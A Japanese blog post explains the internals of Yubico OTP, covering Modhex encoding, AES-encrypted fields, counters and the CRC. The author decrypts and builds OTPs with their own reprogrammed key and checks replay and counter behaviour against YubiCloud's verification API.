YubiCloudはOTPが正しいかどうかを検証するだけで、Yubikeyとユーザとの紐付けはServer側の責任となります。 Yubico OTPでは、どのYubikeyから生成されてるいるのか判別出来るように、public IDというYubikey毎に固定の値が先頭につきます。
OTPが「私が所持するYubikeyから生成されたものかどうか」は、
- サーバ側で、Yubikeyのpublic IDとユーザーの登録したpublic IDが正しいか
- YubiCloudによるOTPの検証結果
から分かります。
Modhex形式
ここからは、生成されたOTPについて説明していきます。
Yubico OTPは、16進数をModhex方式(Yubico社が定めたエンコーディング方式)で別の文字に置換されています。
YubikeyはUSBキーボードとして認識されるので、PCに設定されているキーボード設定によっては、入力がぶれてしまうことがあるそうです。 Modhex形式では、様々なキーボードでのぶれが起きにくい文字が使われているそうです。
16進数 | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | a | b | c | d | e | f |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Modhex | c | b | d | e | f | g | h | i | j | k | l | n | r | t | u | v |
Modhex形式を16進数に戻すコードは以下のようになります。
d = {'b': '1', 'c': '0', 'd': '2', 'e': '3', 'f': '4', 'g': '5', 'h': '6', 'i': '7', 'j': '8', 'k': '9', 'l': 'a', 'n': 'b', 'r': 'c', 't': 'd', 'u': 'e', 'v': 'f'} def modhex2hex(x): return ''.join([d[i] for i in x])
この関数でOTPを16進数に変換するとこのようになります。
>>> print(modhex2hex('vvvgutvinihgjelnlrctgrvukrkbhtbrrrtugdgndcif')) fff5edf7b76583abac0d5cfe9c916d1cccde525b2074 >>> print(modhex2hex('vvvgutvinihgjrcnkgkflerfghfdkijiudvltttuntji')) fff5edf7b7658c0b9594a3c456429787e2fadddebd87
馴染みのある16進数の表現になりましたね。 これ以降のOTPは16進数に変換後の値を使います。
public IDと暗号文
Yubico OTPは44文字の文字列で、public ID(先頭12文字)と暗号文(残り32文字)からなります。正確にはpublic IDの長さは設定で変えられますが、YubiCloudで使えるYubico OTPに話を限定します。
public IDは、OTPの中で固定の値です。 設定で変更できますが、工場出荷状態で使える設定では、必ずユニークな値となっています。
暗号文には、OTPがYubikeyから生成されたものかを検証するための情報が含まれています。
先ほどの同じYubikeyから生成した2つのOTP
- fff5edf7b76583abac0d5cfe9c916d1cccde525b2074
- fff5edf7b7658c0b9594a3c456429787e2fadddebd87
をpublic ID と 暗号文に分けると以下のようになります。
public ID | 暗号文 |
---|---|
fff5edf7b765 | 83abac0d5cfe9c916d1cccde525b2074 |
fff5edf7b765 | 8c0b9594a3c456429787e2fadddebd87 |
public IDが同じで、暗号文は変わっていることがわかります。
暗号化方式とその鍵
暗号化にはAES-128が使われています。
鍵はYubikey内と検証サーバー(YubiCloud)に保存されています。 YubiCloudでは、public IDから鍵を取り出し復号します。
工場出荷時に、YubiCloudへpublic IDと鍵の登録はされているので、Yubico OTPはすぐに使うことができるというわけです。
また、Yubikeyは設定に対して、書き込みを行うためのインターフェースしか用意されておらず、読み込みができないため、鍵はYubico OTP設定時にのみ分かるようになっています。
初期状態では工場でYubico OTPの設定がされているので、購入者も鍵を知ることができません。 Yubikeyの利用者は、鍵を知らずに(知ることが出来ずに)OTPを生成し、Yubico OTPという仕組みを使用することができます。
鍵の情報漏洩を心配しなくて良いのはYubikeyなどのデバイスを通した認証の良いところですね。 鍵の入ったデバイスが盗まれてしまったら元も子もないですが、public IDに紐づく情報を無効化することで被害を抑えられます。
暗号文の中身
暗号文の中身で、検証に重要な値として、
- private ID
- Counter
があります。
private IDは、鍵と同様に、工場で設定されYubiCloudに登録されている値です。 public IDは公開情報なので、他人のpublic IDになりすまそうとすることができますが、暗号文内のpublic IDに紐づいているprivate IDの値は分からないため、なりすましを防ぐことができます。
Counterは、YubikeyでOTPを生成する毎にカウントアップされる値です。YubiCloudでは、最後に検証したCounterを保持されており、入力されたOTPのカウンターと最後に使用したカウンターの値を比較することで、使い回しなどを防ぐことができます。 また、過去に生成したOTPが漏洩してしまったとしても、そのあとに生成したOTPを使用することで簡単に漏洩したOTPを使用できなくすることができます。
結局、YubiCloudでは、暗号文を復号し、
- private IDが正しいか
- Counterの値が新しいか
を検証します。
以下は、Yubicoのサイトに記載されている検証の流れを示した図です。
https://developers.yubico.com/OTP/OTPs_Explained.html
ここまでの、まとめ
- Yubico OTPは、YubiCloudによって検証できる
- 暗号部分はAESで暗号化されており、購入者も鍵を知ることができないので、鍵の漏洩を心配しなくて良い
- 暗号化された情報で改ざん防止や使い回しの防止がされている
暗号文の中身
ここからは、暗号文の中身を見ていくことで、Yubico OTPの詳細な仕様を見ていこうと思います。
暗号文の中身は16バイトで以下の値が入っています。
field名 | バイト数 | |
---|---|---|
uid | 6 | private(secret) ID |
useCtr | 2 | Usage counter |
tstp | 3 | Timestamp |
sessionCtr | 1 | Session usage counter |
rnd | 2 | Random number |
crc | 2 | CRC16 checksum |
https://mowa-net.jp/wiki/YubiKey#Yubico_OTP.2BMG5O1WnY-
- uid: public IDと1対1で対応したID。private ID。
- useCtr: USBを抜き差しするとカウントアップされる不揮発な値。
- tstp: デバイス起動時からカウントされる8Hzのタイマーの値。
- sessionCtr: 揮発性の値で、USBが差さっている間に、Yubico OTPを生成するとカウントされる。
- rnd: 乱数。
- crc: 16bit ISO13239 1st complement checksum だそうです。チェックサム。
カウンターの上限について
Yubico OTPのカウンターは、不揮発性のuseCtrと揮発性のsessionCtrの2つあります。
最後に使用したuseCtrより大きければOK、小さければNGです。useCtrが同じ場合は、sessionCtrが大きければOK、同じか小さければNGとなっています。
sessionCtrは、1バイトなので256回タップすると上限に達します。次のタップでは、useCtrがカウントアップし、sessionCtrは0になります(確認済み)。
useCtrは、2バイトなので、65535まで値を保持できます。sessionCtr 1日10回抜き差しすると大体17年くらい使える感じです。 上限に達する前に(かなり丈夫に作られてるとはいえ)壊れてしまいそうですが、上限に達したらもう一度設定し直すしかないらしいです。
Yubikey Personalization tools
暗号文の詳細を追ってくために、実際に暗号文を復号してみたいと思います。
Yubikey Personalization tools というYubikeyの設定ツールがあります。 これを使うとYubico OTPの設定を変えることができ、public ID、private IDと鍵を知ることができます。
新しく生成したpublic IDとprivate IDと鍵のペアをYubiCloudにアップロードすることで、Yubico OTPが使えるようになります。
自分で生成したものは先頭がvvとなり、工場で生成されたものはccから始まるよう決められており、自分で生成したものかはpublic IDから判別することが可能です。
暗号文の実際の値
鍵が a9 e2 29 33 2e 87 0f 26 1e a5 5a 2a bd ef da e0
に設定されたYubico OTPの中身を見て行きたいと思います。
以下が、復号や暗号化するコードです。
以下の5つのOTPを復号してみようと思います。
vvntibfekfkkuvrvubtictldndbenurgrgbukhkutild vvntibfekfkkcgfeljervjjcejvjkvttthndftrtbdrf vvntibfekfkkbnkhcdiuhbbbflbuitdnecbkbnlkchgv vvntibfekfkkbevrttebkucvbdrntikdicluudifdgil vvntibfekfkkjfvttcrfvdkrrrvdidrrrdlcdefvhege
結果は、
$ python Yubico.py < public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:f011a4 sessionCtr:00 rnd:adfd crc:7855 > < public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:fe11a4 sessionCtr:01 rnd:cd73 crc:1308 > < public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0001 tstp:1312a4 sessionCtr:02 rnd:d3dd crc:1599 > < public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0002 tstp:5bd808 sessionCtr:00 rnd:f2d7 crc:ae1f > < public_id:ffbd71439499 private_id:8a00555dd7db useCtr:0002 tstp:7fd808 sessionCtr:01 rnd:7326 crc:121d >
このようになります。 最初の3個は、同じuseCtrで、sessionCtrがカウントアップされていることがわかります。 4個目のYubico OTPを生成する前に、Yubikeyを抜き差ししました。4個目のuseCtrが2になり、sessionCtrが0に戻っていることが分かります。
checksumの計算
自分でOTPを計算していきたいと思います。
crcは、それ以外のfieldの値を使ってchecksumを計算します。 マニュアルに載っているコードは、一部間違っているようでしたので注意が必要です。
以下のコードが、チェックサムの計算と検証するコードです。
def update_crc(crc, x): crc ^= x for _ in range(8): flag = crc & 1 crc >>= 1 if flag != 0: crc ^= 0x8408 return crc & 0xffff def get_crc(s): assert len(s) == 14, "Invalid length" crc = 0x5af0 for i in s: crc = update_crc(crc, i) return crc def verify_crc(s): assert len(s) == 16, "Invalid length" crc = 0xffff for i in s: crc = update_crc(crc, i) return crc == 0xf0b8
YubiCloudで検証
YubikeyによるYubico OTPの生成をみてきましたが、これらの情報が検証サーバ(YubiCloud)で正しく検証されるか見ていきたいと思います。
Validation Protocol に書かれていますが、
http://api.yubico.com/wsapi/2.0/verify?otp=vvvvvvcucrlcietctckflvnncdgckubflugerlnr&id=87&timeout=8&sl=50&nonce=askjdnkajsndjkasndkjsnad
にリクエストを送ることで、OTPが正しいかを検証することができます。 OTPをotpというパラメータにセットし、それ以外のパラメータはそのままでリクエストを送ります。
YubiCloudに登録している、public IDで生成した正常なOTPを送って見ます。
$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgvbbrtbdjebcblfherenbdkkbfrhdhghr\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad status=OK
status=OK
から、正しいOTPであることが分かります。
同じOTPを再度、送って見ます
$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgvbbrtbdjebcblfherenbdkkbfrhdhghr\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad status=REPLAYED_REQUEST
status=REPLAYED_REQUEST
より、再送されたものであることが分かります。
その他にも、 過去のOTPを送ると
$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgddvrncverchrujjdnfferuccvdficvcf\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad status=REPLAYED_OTP
一文字書き換えたOTPを送ると
$ curl http://api.yubico.com/wsapi/2.0/verify\?otp\=vvvgutvinihgddvrncverchrujjdnfferuccvdgicvcf\&id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad status=BAD_OTP
となり、きちんとNGが返ってきていることが確認できます。
自分で生成したOTPを検証する
以下のpublic ID(ff39a66437d3) と private ID(065c6ad736b4)と鍵でYubiCloudに登録し、以下のOTPを検証したとします。
# vveklhhfeitehunflcgniugkjencelvjcfgjrublthei < public_id:ff39a66437d3 private_id:065c6ad736b4 useCtr:0001 tstp:aa4865 sessionCtr:02 rnd:03cd crc:fc31 >
useCtr が1、sessionCtrが2なので、タップすればuseCtrが1、sessionCtrが3のOTPが生成されるます。 この条件で、OTPを生成し、検証してみます。
y1 = Yubico.calc_otp(key, 0xff39a66437d3, 0x065c6ad736b4, 0x01, 0x03) print(y1.otp) # => vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl
これを実行することで、vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl が得られます。
# 普通に生成したOTPの検証。useCtr が1、sessionCtrが2。 $ curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vvvgutvinihgichgvrljjhrdbtdrbnrnnnttehnebjbc h=pNQ0bQIYZx2iBHoktz5aVjDGFvk= t=2016-12-30T03:56:09Z0559 otp=vvvgutvinihgichgvrljjhrdbtdrbnrnnnttehnebjbc nonce=askjdnkajsndjkasndkjsnad sl=50 status=OK # 自分で計算したOTPの検証。useCtr が1、sessionCtrが3。 $ curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl h=6jnCfVVKSa0wBSlZWdZcfoIKL3k= t=2016-12-30T04:00:39Z0699 otp=vveklhhfeiteefcuirblkthjbctldteunthliutfrlhl nonce=askjdnkajsndjkasndkjsnad sl=50 status=OK # 普通に生成したOTPの検証。useCtr が1、sessionCtrが3。 $ curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeiteribeddtufhbtvnhnttivubkkfugekhvh h=k3b7zIJOLmAflOJmwYOPzyl8wSw= t=2016-12-30T04:00:51Z0931 otp=vveklhhfeiteribeddtufhbtvnhnttivubkkfugekhvh nonce=askjdnkajsndjkasndkjsnad status=REPLAYED_REQUEST
二つ目の結果から自分で生成したOTPが、検証でOKを返していることがわかります。このリクエストにより、YubiCloudのカウンターが更新され、3個目にYubickey経由で生成したOTPにも関わらず検証が失敗していることがわかります。
せっかくなのでカウンターがマックスまでいったとき、オバーフローとかして、また最初から使えないかみてみます。
# useCtr が0xffff、sessionCtrが0xff。 $ curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf h=gEwRfJPLZ6PTjTwnyY0lXvsgvZ4= t=2016-12-30T04:15:05Z0073 otp=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf nonce=askjdnkajsndjkasndkjsnad sl=50 status=OK # useCtr が0x0、sessionCtrが0x0。 $ curl http://api.yubico.com/wsapi/2.0/verify\?id\=87\&sl\=50\&nonce\=askjdnkajsndjkasndkjsnad\&otp\=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf h=7bNNnRVlNpH/CFPbKKF943MM1JI= t=2016-12-30T04:15:17Z0875 otp=vveklhhfeitejcvfeneitrvgujrihuiutgvgvgvefdcf nonce=askjdnkajsndjkasndkjsnad status=REPLAYED_REQUEST
サーバ側でオバーフローなどはしないので、やはり設定をし直すしかなさそうですね。
後半の、まとめ
- Yubico OTPの暗号化されている中身を詳細にみてみた
- 実際に暗号文を復号し、挙動を確かめた
- 暗号化するコードを作り、正しく検証されるか確かめた
さいごに
Yubico OTPは、普通の使い方では鍵がもれる心配をしなくてよいためとても安全な仕組みかと思います。 公式マニュアルがややわかりにくかったのとYubicoの独自認証プロトコルなので資料がほぼなかったので書いてみました。 何かしら興味をもっていただければ幸いです。
参考
- 公式
- マニュアル
- これが一番詳しいと思います。
- ただし、公式サイトから、この資料のリンクを探し出すのは困難なので注意してください。
- Yubico OTP
- Yubikey Personalization tools
- 検証サーバー関連
- YubiKey
- 日本語のブログ
- 本当にこのページがあって助かりました:bow:
- 公式の素材用の画像
その他にもYubikeyのことが書かれた日本語のブログはお世話になりました。
もし公式ドキュメントを読みたい方は、
- ドキュメント量は多いが整理されていないので注意する
- 名称のブレがとにかく激しいので、ノリで理解する
- 例えば、public ID, Yubikey Token, publicname は全部同じものを指します。
に注意してください。
どこか間違っている点や疑問点などあればコメントいただけると助かります。